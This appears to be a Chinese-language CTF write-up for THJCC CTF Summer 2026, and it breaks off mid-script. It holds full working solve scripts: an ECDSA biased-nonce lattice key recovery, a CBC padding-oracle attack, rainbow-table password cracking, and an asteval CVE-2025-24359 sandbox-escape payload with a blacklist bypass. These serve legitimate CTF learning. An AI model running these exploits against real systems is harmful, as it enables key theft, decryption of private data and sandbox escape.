G_y = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
G = (G_x, G_y)

D = p - q
ACCEPT_LOG2A = 252.45 # reconnect if log2(a) above this (lattice gets too tight)


def add(P1, P2):
 if P1 is None: return P2
 if P2 is None: return P1
 x1, y1 = P1; x2, y2 = P2
 if x1 == x2 and y1 != y2: return None
 if x1 == x2:
 l = (3 * x1 * x1) * pow(2 * y1, -1, p) % p
 else:
 l = (y2 - y1) * pow(x2 - x1, -1, p) % p
 x3 = (l * l - x1 - x2) % p
 y3 = (l * (x1 - x3) - y1) % p
 return (x3, y3)


def mul(pt, n):
 res = None; curr = pt; n = n % q
 while n:
 if n & 1: res = add(res, curr)
 curr = add(curr, curr)
 n >>= 1
 return res


def connect(args):
 if args.local:
 return process(["python3",
 os.path.join(HERE, "handout", "server.py")],
 env={"FLAG": "THJCC{local_test_flag}", "PATH": os.environ["PATH"]})
 return remote(args.host, args.port)


def get_transcript(io):
 data = io.recvuntil(b"Private Key (d) in hex:", timeout=60).decode(errors="replace")
 m = re.search(r"Public Key: \(0x([0-9a-f]+), 0x([0-9a-f]+)\)", data)
 pub = (int(m.group(1), 16), int(m.group(2), 16))
 m = re.search(r"a = 0x([0-9a-f]+), b = 0x([0-9a-f]+)", data)
 a, b = int(m.group(1), 16), int(m.group(2), 16)
 sigs = []
 for mh, mr, ms in re.findall(r"h = 0x([0-9a-f]+)\nr = 0x([0-9a-f]+)\ns = 0x([0-9a-f]+)", data):
 sigs.append((int(mh, 16), int(mr, 16), int(ms, 16)))
 return pub, a, b, sigs


def lattice_solve(a, b, pub, sigs, deadline=None, verbose=True):
 """Weighted centered Kannan embedding + BKZ ladder. Returns d or None."""
 m = len(sigs) - 1
 alpha = [h * pow(s, -1, q) % q for h, r, s in sigs]
 beta = [r * pow(s, -1, q) % q for h, r, s in sigs]
 e = [(beta[i + 1] - a * beta[i]) % q for i in range(m)]
 wv = [(a * alpha[i] + b - alpha[i + 1]) % q for i in range(m)]
 inv_e0 = pow(e[0], -1, q)
 invD = pow(D, -1, q)
 A = [0] * m
 B = [0] * m
 for i in range(1, m):
 A[i] = e[i] * inv_e0 % q
 B[i] = (wv[i] - A[i] * wv[0]) % q * invD % q
 half = a // 2
 C = [(B[i] + A[i] * half - half) % q for i in range(1, m)]

 K = round(2.65 * a)
 ws = 9 # ~ K*sqrt(12)/a: equalizes expected per-coordinate contribution
 dim = m + 1
 M = IntegerMatrix(dim, dim)
 M[0, 0] = ws
 for i in range(1, m):
 M[0, i] = ws * A[i]
 for i in range(1, m):
 M[i, i] = ws * q
 for i in range(1, m):
 M[m, i] = ws * C[i - 1]
 M[m, m] = K

 cache = {}

 def pub_ok(dd):
 if dd not in cache:
 cache[dd] = 0 < dd < q and mul(G, dd) == pub
 return cache[dd]

 def try_extract():
 for row in range(dim):
 if abs(M[row, m]) != K or M[row, 0] % ws != 0:
 continue
 x = M[row, 0] // ws
 for t0 in (half + x, half - x):
 if 0 <= t0 < a:
 dd = (wv[0] - D * t0) % q * inv_e0 % q
 if pub_ok(dd):
 return dd
 return None

 t0 = time.time()
 LLL.reduction(M)
 r = try_extract()
 if r:
 if verbose: print(f"[+] LLL: {time.time()-t0:.0f}s", flush=True)
 return r
 bkz = BKZ2(M)
 for blk in (30, 40, 50, 56):
 if deadline and time.time() > deadline:
 return None
 t1 = time.time()
 bkz(BKZ.Param(block_size=blk, max_loops=6,
 flags=BKZ.AUTO_ABORT | BKZ.MAX_LOOPS | BKZ.GH_BND))
 if verbose:
 print(f"[*] BKZ2-{blk}: {time.time()-t1:.0f}s", flush=True)
 r = try_extract()
 if r:
 return r
 return None


def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("--host", default="chal.thjcc.org")
 ap.add_argument("--port", type=int, default=11451)
 ap.add_argument("--local", action="store_true")
 ap.add_argument("--max-tries", type=int, default=30)
 ap.add_argument("--budget", type=int, default=300, help="lattice seconds per attempt")
 args = ap.parse_args()

 context.log_level = "warn"
 for attempt in range(1, args.max_tries + 1):
 print(f"[connect #{attempt}]", flush=True)
 io = connect(args)
 try:
 pub, a, b, sigs = get_transcript(io)
 except Exception as ex:
 print(f"[-] parse failed: {ex}", flush=True)
 io.close()
 continue
 if len(sigs) != 85:
 print(f"[-] expected 85 sigs, got {len(sigs)}", flush=True)
 io.close()
 continue
 la = math.log2(a)
 print(f"[*] a: log2 = {la:.3f} ({'ACCEPT' if la <= ACCEPT_LOG2A else 'too big, reconnect'})",
 flush=True)
 if la > ACCEPT_LOG2A:
 io.close()
 time.sleep(1)
 continue
 t0 = time.time()
 d = lattice_solve(a, b, pub, sigs, deadline=time.time() + args.budget)
 if d is None:
 print("[-] lattice failed on this instance, reconnecting", flush=True)
 io.close()
 continue
 print(f"[+] d = {hex(d)} ({time.time()-t0:.0f}s)", flush=True)
 io.sendline(hex(d).encode())
 resp = io.recvall(timeout=20).decode(errors="replace")
 print(resp, flush=True)
 m = re.search(r"THJCC\{[^}]*\}", resp)
 if m:
 print(f"[*] FLAG: {m.group(0)}", flush=True)
 return
 print("[-] exhausted attempts")


if __name__ == "__main__":
 main()

Lattice of Doom

Flag：THJCC{l4tt1c3s_turn_b14s3d_n0nc3s_1nt0_pr1v4t3_k3ys}

|k_i| < 2²³² 的 HNP：整数化满秩格（对角 N²、d 行系数 B、常数行 B·N），LLL 后最短向量给出私钥，AES-CBC 派生密钥解 flag。

发现过程：附件 signer_excerpt.py 里 NONCE_BYTES = 29——nonce 只有 232 位、比曲线阶 256 位少 24 位，即偏置 nonce；README 明示 “Many small things together are a lattice problem” 指向 HNP。格构造两个坑：B 与 B·N 必须分占两个独立列（放同一列矩阵秩亏缺、LLL 出零行）；还原时候选要试 y//B ± N 并用 cand·G == Q 验证唯一性。

📜 Lattice of Doom solve.py（125 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125



#!/usr/bin/env python3
"""Lattice of Doom (THJCC CTF Summer 2026, Crypto) — one-shot solve.

Attack: ECDSA (secp256k1) with biased nonces -> Hidden Number Problem -> LLL.
The firmware signs with 29-byte (232-bit) nonces; the curve order N is 256 bits.
From s_i = k_i^-1 (h_i + r_i*d) mod N we get k_i = a_i*d + b_i mod N with
|k_i| < 2^232, a classic HNP. Recover d with a lattice, then decrypt the flag
(AES-128-CBC, key = sha256(b"wallet-v1|" + d.to_bytes(32,'big'))[:16]).

Requires: fpylll, pycryptodome (pip install fpylll pycryptodome)
Run from the challenge directory (expects handout/output.json).
"""
import hashlib
import json
from pathlib import Path

from Crypto.Cipher import AES
from fpylll import IntegerMatrix, LLL

# secp256k1 parameters
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8


def sha256_int(b: bytes) -> int:
 return int.from_bytes(hashlib.sha256(b).digest(), "big")


def point_mul(k: int):
 """Scalar multiplication on secp256k1 (double-and-add)."""
 def add(p, q):
 if p is None:
 return q
 if q is None:
 return p
 x1, y1 = p
 x2, y2 = q
 if x1 == x2 and (y1 + y2) % P == 0:
 return None
 if p == q:
 lam = (3 * x1 * x1) * pow(2 * y1, -1, P) % P
 else:
 lam = (y2 - y1) * pow(x2 - x1, -1, P) % P
 x3 = (lam * lam - x1 - x2) % P
 y3 = (lam * (x1 - x3) - y1) % P
 return (x3, y3)

 r = None
 base = (Gx, Gy)
 while k:
 if k & 1:
 r = add(r, base)
 base = add(base, base)
 k >>= 1
 return r


def main():
 for p in ("output.json", "handout/output.json", "handout/chal-Lattice-of-Doom/output.json"):
 if Path(p).exists():
 break
 data = json.loads(Path(p).read_text())
 Q = (int(data["Qx"], 16), int(data["Qy"], 16))
 n = len(data["signatures"])
 B = 1 << 232 # nonce bound: 29 bytes

 # k_i = a_i*d + b_i (mod N), a_i = s_i^-1 r_i, b_i = s_i^-1 h_i
 a, b = [], []
 for sig in data["signatures"]:
 h = sha256_int(bytes.fromhex(sig["msg"]))
 r = int(sig["r"], 16)
 s = int(sig["s"], 16)
 si = pow(s, -1, N)
 a.append(si * r % N)
 b.append(si * h % N)

 # HNP lattice, full rank n+2 (integer version of the rational
 # construction with B/N coefficient on d, uniformly scaled by N):
 # v_i = N^2 * e_i (i = 0..n-1)
 # v_a = (a_j*N ..., B, 0)
 # v_b = (b_j*N ..., 0, B*N)
 # target vector = d*v_a + v_b - sum q_i*v_i = (N*k_j, B*d, B*N)
 m = n + 2
 M = IntegerMatrix(m, m)
 for i in range(n):
 M[i, i] = N * N
 for j in range(n):
 M[n, j] = a[j] * N
 M[n + 1, j] = b[j] * N
 M[n, n] = B
 M[n + 1, n + 1] = B * N
 LLL.reduction(M)

 # the reduced basis contains the target; its column n is B*d (+/- shifts)
 d = None
 for row in M:
 y = row[n]
 if y == 0:
 continue
 for cand in (y // B, -y // B, y // B - N, -y // B - N,
 y // B + N, -y // B + N):
 if 0 < cand < N and point_mul(cand) == Q:
 d = cand
 break
 if d:
 break
 if d is None:
 raise SystemExit("[-] lattice attack failed")

 print(f"[+] private key d = {d:#x}")

 # decrypt flag: AES-128-CBC, key = sha256(b'wallet-v1|' + d32)[:16]
 key = hashlib.sha256(b"wallet-v1|" + d.to_bytes(32, "big")).digest()[:16]
 ct = bytes.fromhex(data["flag_enc"])
 pt = AES.new(key, AES.MODE_CBC, iv=b"\x00" * 16).decrypt(ct)
 flag = pt.split(b"THJCC{")[1]
 flag = b"THJCC{" + flag.split(b"}")[0] + b"}"
 print(f"[+] FLAG: {flag.decode()}")


if __name__ == "__main__":
 main()

Oracle of Padding

Flag：THJCC{p4dd1ng_0r4cl3s_l34k_0n3_byt3_p3r_qu3ry}

服务端只验提交密文最后一块 padding → 截断 IV‖C1..Ck 把 Ck 当最后一块逐字节解（修改 C_{k-1}，k=1 时即改 IV）。

发现过程（前一轮失败的两个根因，已修）：①索引错位——要改的块是被攻击块的前一块 tok[16*(k-1)]，写成 C_{k-2} 会全错；②oracle 语义——全 112B 提交时中间块改动恒 OK，必须截断提交让目标块成为最后一块。另：pos=0 的双命中（pad=1 真命中 + 意外长 padding 假命中）用 pos=1 全扫描消歧（假命中会让 pos=1 出现 256 个 OK）。

📜 Oracle of Padding solve.py（215 行，核心 decrypt_block@1626：截断提交 + pos=0 消歧）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215



#!/usr/bin/env python3
"""Oracle of Padding - corrected CBC padding oracle attack.

Root causes fixed vs the previous attempt:
 1. Index bug: to decrypt plaintext block P_k (k=1..6) we must modify the block
 BEFORE C_k inside the submitted token, i.e. token offset 16*(k-1) (IV for
 k=1). The old code wrote 16*(bi-1) with bi off by one.
 2. Oracle semantics: the server only validates the padding of the LAST block
 of the SUBMITTED ciphertext. A full 112-byte submission ignores changes to
 IV/C1..C4 (always OK -> the 20s garbage run). Fix: submit the TRUNCATED
 token tok[:16*(k+1)] = IV || C_1..C_k so block k becomes the last block.

Protocol: connect -> "TOKEN <hex>" (112 bytes = IV||C1..C6, per-connection fresh
IV, same flag plaintext). Send hex line, receive "OK"/"BAD".
"""
import json
import os
import socket
import sys
import threading
import time

HOST = os.environ.get("ORACLE_HOST", "chal.thjcc.org")
PORT = int(os.environ.get("ORACLE_PORT", "12000"))
BLOCK = 16
N_BLOCKS = 6
STATE_FILE = "/tmp/oracle_attack_state.json"

# Known plaintext shortcuts (verified format), block index -> {pos: byte}
KNOWN = {1: {j: ord(c) for j, c in enumerate("THJCC{")}}

state_lock = threading.Lock()
state = {"blocks": {k: [None] * BLOCK for k in range(1, N_BLOCKS + 1)},
 "done": {}, "t0": time.time()}


class Oracle:
 def __init__(self):
 self.sock = socket.create_connection((HOST, PORT), timeout=10)
 self.sock.settimeout(15)
 line = self._readline()
 if not line or not line.startswith(b"TOKEN "):
 raise RuntimeError(f"bad banner {line!r}")
 self.token = bytes.fromhex(line[6:].decode().strip())
 if len(self.token) != 16 * (N_BLOCKS + 1):
 raise RuntimeError(f"unexpected token len {len(self.token)}")

 def _readline(self):
 buf = b""
 while b"\n" not in buf:
 chunk = self.sock.recv(4096)
 if not chunk:
 raise ConnectionError("closed")
 buf += chunk
 return buf.split(b"\n")[0]

 def query(self, data):
 self.sock.sendall(bytes(data).hex().encode() + b"\n")
 return self._readline() == b"OK"

 def close(self):
 try:
 self.sock.close()
 except Exception:
 pass


def log(msg):
 print(f"[{time.time() - state['t0']:7.1f}s] {msg}", flush=True)


def decrypt_block(orc, k, report):
 """Recover plaintext block P_k. Returns bytes(16).

 Submissions are truncated to IV||C_1..C_k; we modify C_{k-1} (offset
 16*(k-1), the IV itself for k=1).
 """
 tok = orc.token
 off = 16 * (k - 1) # offset of the block we modify
 sub_len = 16 * (k + 1) # IV || C_1..C_k
 prev = tok[off:off + BLOCK] # original previous block
 known = KNOWN.get(k, {})
 D = [0] * BLOCK

 def sub_for(pos, pad):
 s = bytearray(tok[:sub_len])
 for j in range(BLOCK - pos, BLOCK):
 s[off + j] = D[j] ^ pad
 return s

 pos = 0
 while pos < BLOCK:
 j = BLOCK - 1 - pos
 pad = pos + 1
 if j in known:
 D[j] = known[j] ^ prev[j]
 report(pos, D[j] ^ prev[j], True)
 pos += 1
 continue
 s = sub_for(pos, pad)
 cands = []
 for g in range(256):
 s[off + j] = g
 ok = orc.query(s)
 if ok:
 cands.append(g)
 if pos > 0:
 break # pos>=1 can only have one OK (tail forced)
 if not cands:
 raise RuntimeError(f"block {k} pos {pos}: dead end (0 OK)")
 if pos == 0 and len(cands) > 1:
 # Classic pad=1 vs accidental longer-padding double hit.
 # Disambiguate at pos 1 with a FULL scan: the true candidate yields
 # exactly 1 OK, a false one forces P[15]=1 -> 256 OKs.
 for c in cands:
 D[j] = c ^ pad
 s2 = sub_for(1, 2)
 hits = []
 for g in range(256):
 s2[off + BLOCK - 2] = g
 if orc.query(s2):
 hits.append(g)
 if len(hits) == 1:
 D[j] = c ^ 1
 D[BLOCK - 2] = hits[0] ^ 2
 report(0, D[j] ^ prev[j], False)
 report(1, D[BLOCK - 2] ^ prev[BLOCK - 2], False)
 pos = 2
 break
 if pos == 2:
 continue
 raise RuntimeError(f"block {k}: no pos-0 candidate survived")
 D[j] = cands[0] ^ pad
 report(pos, D[j] ^ prev[j], False)
 pos += 1
 return bytes(D[i] ^ prev[i] for i in range(BLOCK))


def worker(k):
 while k not in state["done"]:
 orc = None
 try:
 orc = Oracle()
 def report(pos, byte, free):
 with state_lock:
 state["blocks"][k][BLOCK - 1 - pos] = byte
 ch = chr(byte) if 32 <= byte < 127 else "."
 log(f"block {k} pos {pos:2d}: {byte:#04x} '{ch}'"
 + (" (known)" if free else ""))
 pt = decrypt_block(orc, k, report)
 with state_lock:
 state["done"][k] = pt.hex()
 log(f"block {k} DONE: {pt!r}")
 except Exception as e:
 log(f"block {k} error: {e}; reconnecting")
 time.sleep(2)
 finally:
 if orc:
 orc.close()


def monitor(threads):
 while any(t.is_alive() for t in threads):
 time.sleep(15)
 with state_lock:
 done = dict(state["done"])
 rows = []
 for k in range(1, N_BLOCKS + 1):
 if k in done:
 rows.append(f"B{k}={done[k]}")
 else:
 cells = state["blocks"][k]
 n = sum(1 for c in cells if c is not None)
 rows.append(f"B{k}:back_{n}/16")
 log(f"progress {rows}")
 with open(STATE_FILE, "w") as f:
 json.dump({"done": done, "blocks": {
 k: [None if c is None else c for c in state["blocks"][k]]
 for k in state["blocks"]}}, f)
 if len(done) == N_BLOCKS:
 break


def main():
 threads = [threading.Thread(target=worker, args=(k,), daemon=True)
 for k in range(1, N_BLOCKS + 1)]
 for t in threads:
 t.start()
 monitor(threads)
 for t in threads:
 t.join()
 with state_lock:
 done = dict(state["done"])
 if len(done) != N_BLOCKS:
 log(f"FAILED, missing blocks {sorted(set(range(1, 7)) - set(done))}")
 return 1
 pt = b"".join(bytes.fromhex(done[k]) for k in range(1, N_BLOCKS + 1))
 pad = pt[-1]
 if 1 <= pad <= BLOCK and pt[-pad:] == bytes([pad]) * pad:
 pt = pt[:-pad]
 log(f"PLAINTEXT ({len(pt)} bytes): {pt!r}")
 # The plaintext is a decoy JSON-ish wrapper; the real flag is the inner
 # THJCC{...} token (fallback: the whole plaintext if no inner token).
 import re
 m = re.search(rb"THJCC\{[^{}]*\}", pt[len(b"THJCC{"):])
 flag = (m.group(0) if m else pt).decode(errors="replace")
 log(f"FLAG: {flag}")
 with open("/tmp/oracle_padding_flag.txt", "w") as f:
 f.write(pt.decode(errors="replace") + "\n" + flag + "\n")
 return 0


if __name__ == "__main__":
 sys.exit(main())

お昼はサイゼリヤに行こうニャ！

Flag：THJCC{46Z-WQv_vFc}

OSINT（动画角色年龄+订阅数）定种子 K → C 语言 18 线程彩虹表还原 nyan.tbl 五口令 → sha256 拼接 key 做 HMAC-CTR 解 flag.enc。

发现过程：note.png 给出 K 的语义槽位（yaniko/yakuko/aruko 年龄、hameko 频道订阅数 10.8 万）但数字被烧掉——OSINT 动画《ヤニねこ》官方设定得 K=(21,20,24,108000)；廉价 K 验证 oracle：对任意链重算 24576 步端点与 nyan.tbl 的 21-bit 端点比对，四条链全吻合即确认。彩虹表参数从 gen_table.py 推出（链长 24576、端点 21bit、链数 > 6⁸ 假阳性多，需链再生时精确比对）；C 实现两个坑：消息是口令 ASCII 字节而非 base-6 索引、x*RMIX2 是 40×48 bit 超出 uint64 需 unsigned __int128。

📜 saizeriya solve.sh（28 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


# ==== saizeriya/solve.sh ====

#!/bin/bash
# 一键复现：お昼はサイゼリヤに行こうニャ！（サイゼリヤ）
# 前提：附件已解压到 handout/extracted/お昼はサイゼリヤに行こうニャ！/
set -euo pipefail

HERE="$(cd "$(dirname "$0")" && pwd)"
PY=python3
HANDOUT="${HERE}/handout/extracted/お昼はサイゼリヤに行こうニャ！"

# 1) K 候选验证（角色年龄/订阅数 -> nyan.tbl 链端点比对）
"${PY}" "${HERE}/verify_k.py"

# 2) 彩虹表查询：5 个 shadow 哈希 -> 原像口令
cc -O3 -o "${HERE}/rainbow" "${HERE}/rainbow.c" -pthread
"${HERE}/rainbow" "${HANDOUT}" | tee "${HERE}/rainbow.out"

# 3) 按住户顺序取每個 target 的第一個命中口令，拼 key 解 flag.enc
PWS=()
for t in 0 1 2 3 4; do
 pw=$(grep "FOUND target\[${t}\]" "${HERE}/rainbow.out" | head -1 | sed 's/.*pw=\([^ ]*\).*/\1/')
 if [ -z "${pw}" ]; then echo "target[${t}] not found"; exit 1; fi
 PWS+=("${pw}")
done
echo "passwords: ${PWS[*]}"

"${PY}" "${HERE}/finish.py" "${PWS[0]}" "${PWS[1]}" "${PWS[2]}" "${PWS[3]}" "${PWS[4]}"

📜 saizeriya finish.py（37 行，核心 keystream@1824）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


# ==== saizeriya/finish.py ====

# Final step: assemble key from the 5 recovered passwords, unseal flag.enc.
import hashlib
import hmac
import sys

HANDOUT = "saizeriya/handout/extracted/お昼はサイゼリヤに行こうニャ！"
RESIDENTS = ["yaniko", "yakuko", "hameko", "kaoruko", "aruko"]


def keystream(key: bytes, n: int) -> bytes:
 out, ctr = b"", 0
 while len(out) < n:
 out += hashlib.sha256(key + b"YANI-CTR" + ctr.to_bytes(4, "big")).digest()
 ctr += 1
 return out[:n]


def main():
 # order follows RESIDENTS (same order as shadow.txt lines)
 pws = sys.argv[1:6]
 if len(pws) != 5:
 print("usage: finish.py <yaniko_pw> <yakuko_pw> <hameko_pw> <kaoruko_pw> <aruko_pw>")
 return 1
 key = hashlib.sha256("|".join(pws).encode()).digest()
 blob = open(f"{HANDOUT}/flag.enc", "rb").read()
 tag, ct = blob[:16], blob[16:]
 calc = hmac.new(key, b"YANI-TAG" + ct, hashlib.sha256).digest()[:16]
 print("tag match:", calc == tag)
 pt = bytes(a ^ b for a, b in zip(ct, keystream(key, len(ct))))
 print("flag:", pt.decode())
 return 0


if __name__ == "__main__":
 sys.exit(main())

Misc（7/10）· Forensics（5/6）· Welcome（1/1）

SO EZ MISC（Misc｜asteval 越狱） Flag：THJCC{CVE_2025_24359_th3_p4tch_w4s_1nc0mpl3t3:/}

calc> REPL 前两轮按"手写解释器"打全灭。第三轮先做引擎指纹：发非法 UTF-8 （\xff）触发 UnicodeEncodeError，服务端把整个 stderr traceback 回显到 socket，认出是公开库 asteval 1.0.9。“the bug has no patch” = CVE-2025-24359。读原语在 f-string：on_formattedvalue 把 format_spec 原样拼进 '{__fstring__:'+spec+'}' 模板交 safe_format，spec 以 } 开头提前闭合主字段，注入独立 replacement field：

📜 SO EZ MISC solve.py（88 行，核心 build_payload@1891）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88


#!/usr/bin/env python3
"""SO EZ MISC (THJCC CTF Summer 2026) — one-shot exploit.

Bug chain (asteval 1.0.9, CVE-2025-24359 family):
 asteval.Interpreter.on_formattedvalue builds
 fmt = '{__fstring__:' + <evaluated format_spec> + '}'
 and runs SafeFormatter over it. The spec string is spliced RAW into a
 str.format template, so a spec starting with '}' closes the main field
 early and everything after it is parsed as *template text* — including
 replacement fields whose names support `.attr` / `[key]` chains
 (SafeFormatter.get_field -> safe_getattr / obj[key]).

 The whole read chain lives inside a string literal, so the source-level
 character blacklist ('_', '[', ']') is bypassed with \\u005f/\\u005b/\\u005d
 escapes (server runs Python 3.13, so backslashes inside f-strings are fine).

Usage:
 python3 solve.py # default: audit sheet chain
 python3 solve.py --chain "sheets[summary].owner.session.token.value"
 python3 solve.py --host chal.thjcc.org --port 9006
"""
import argparse

from pwn import remote, context

context.log_level = "error"


def build_payload(chain: str) -> str:
 """f-string whose format_spec breaks out of the spec and reads `chain` from WB."""
 field = "__fstring__." + chain
 field = (
 field.replace("_", "\\u005f")
 .replace("[", "\\u005b")
 .replace("]", "\\u005d")
 )
 # template after splice: {__fstring__:} {<field>} -> value + ' ' + read result
 return "f\"{WB:{'} {" + field + "'}}\""


def run(host: str, port: int, chain: str) -> str:
 payload = build_payload(chain)
 io = remote(host, port)
 try:
 io.recv(timeout=3) # banner "calc> "
 io.sendline(payload.encode())
 buf = b""
 while True:
 try:
 chunk = io.recv(timeout=3)
 except Exception:
 break
 if not chunk:
 break
 buf += chunk
 if buf.rstrip().endswith(b"calc>"):
 break
 finally:
 io.close()
 out = buf.decode(errors="backslashreplace").replace("calc>", "").strip()
 # server prints ' ' + str(result): drop the leading str(WB) part
 marker = "cells={'A1': 0})})"
 if marker in out:
 out = out.split(marker, 1)[1].strip()
 return out


def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("--host", default="chal.thjcc.org")
 ap.add_argument("--port", type=int, default=9006)
 ap.add_argument(
 "--chain",
 default="sheets[audit].owner.session.token.value",
 help="attr/key chain from WB to the value you want to read",
 )
 args = ap.parse_args()

 payload = build_payload(args.chain)
 print(f"[*] payload: {payload}")
 result = run(args.host, args.port, args.chain)
 print(f"[*] leaked: {result}")
 if result.startswith("THJCC{"):
 print(f"[+] FLAG: {result}")


if __name__ == "__main__":
 main()

Afterimage1（Forensics｜mdat 孤立帧） Flag：THJCC{v1d3o_F0ren51cS_qkrejnga}

四轮自动化分析（逐帧 OCR/QR、频域、时序、音频、运动矢量、容器 atom）全灭。真相： flag 是 mdat 尾部 20,524 字节未被 sample table 引用的孤立 IDR H.264 帧，播放器永远不会放它。afterimage1/solve.sh 一键复现：

📜 Afterimage1 solve.sh（24 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


#!/bin/bash
# Afterimage1 一键复现：mdat 尾部孤立 IDR 帧提取与解码
# 用法: bash solve.sh [challenge.mp4] [输出png]
# 依赖: ffprobe / dd / ffmpeg
set -e
VIDEO="${1:-challenge.mp4}"
OUT="${2:-flag_frame.png}"

# 1) 最后一个被 sample table 引用的 packet 结束位置
LAST=$(ffprobe -v error -select_streams v:0 -show_entries packet=pos,size -of csv=p=0 "$VIDEO" | tail -n 1 | tr ',' ' ')
POS=${LAST% *}; SIZE=${LAST##* }
END=$((POS + SIZE))
TOTAL=$(stat -f%z "$VIDEO")

echo "[*] last referenced packet ends at $END / total $TOTAL bytes"
echo "[*] unreferenced tail: $((TOTAL - END)) bytes"

# 2) 切出孤立 NAL（Annex-B + SPS/PPS/SEI/IDR）
dd if="$VIDEO" of=/tmp/afterimage1_orphan.h264 bs=1 skip="$END" 2>/dev/null

# 3) 解码单帧
ffmpeg -y -loglevel error -f h264 -i /tmp/afterimage1_orphan.h264 -frames:v 1 "$OUT"
rm -f /tmp/afterimage1_orphan.h264
echo "[*] flag frame written to $OUT"

Welcome（Welcome｜单帧单字符） Flag：THJCC{w3lc0me_t0_tHjCc_CTF_sUmM3r_ed1ti0n}

57 帧 GIF，机器判定"独立随机姿态、无相似帧对、全通道干净"。真相是每帧恰好一个字符，统计相似度分析从根上就失明了。人眼步骤无脚本可自动完成（豁免），可复现部分是抽帧：

📜 Welcome solve.py（24 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


#!/usr/bin/env python3
"""Welcome 一键复现：57 帧单帧单字符提取。

机器统计隐写分析对"每帧一个字符"免疫，剩余步骤需要人眼：
1) 本脚本把 57 帧落盘到 frames/（按帧序编号）
2) 人眼逐帧读字符 → 拼出 check-in 网址 https://welcome.xzhiyouu.idv.tw 与通行码
3) 网页 Check in（忽略大小写/连字符，过人机验证）→ pastebin.com/DUxM02Gp → flag
"""
import sys
from pathlib import Path
from PIL import Image

def main():
 gif = Path(sys.argv[1] if len(sys.argv) > 1 else "welcome.gif")
 outdir = Path("frames")
 outdir.mkdir(exist_ok=True)
 im = Image.open(gif)
 for i in range(im.n_frames):
 im.seek(i)
 im.convert("RGB").save(outdir / f"{i:02d}.png")
 print(f"[*] {im.n_frames} frames extracted to {outdir}/ — read them in order")

if __name__ == "__main__":
 main()

Where is our head（Misc｜OSINT 双锚点） Flag：THJCC{144.95,-37.81}

“ZURICH” 是苏黎世保险的楼顶招牌，不是城市名（北悉尼/珀斯/奥克兰三城市被网格证伪排除）。第二锚点 RACV 三角顶 → 墨尔本 600 Bourke Place 换牌记录 + 建筑指纹对上，取整边界 -37.82→-37.81 命中。定位本身是人工/多模态 OSINT（豁免）， where-is-our-head/solve.py 提供坐标网格验证（中心格→相邻格、限速退避）：

📜 Where is our head solve.py（44 行，核心 submit@2041）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


#!/usr/bin/env python3
"""Where is our head of challenges? — 坐标验证脚本（OSINT 定位本身无脚本可复现）。

定位链（人工/多模态）：ZURICH=苏黎世保险楼顶招牌（非城市名）→ 第二锚点 RACV
三角顶 → 墨尔本 CBD 600 Bourke Place → 摄影点在 Spencer Street 一带高层住宅。
两位小数坐标存在四舍五入边界，用本脚本按"中心格→相邻格"顺序提交验证。

用法:
 python3 solve.py --challenge 59 --token <CTFd token> 144.95 -37.82
 # 相邻格优先顺序：同 lon 纬度 +-0.01，再经度 +-0.01，再对角
"""
import argparse, sys, time, urllib.request

API = "https://ctf2026-sum.thjcc.org/api/v1/challenges/attempt"

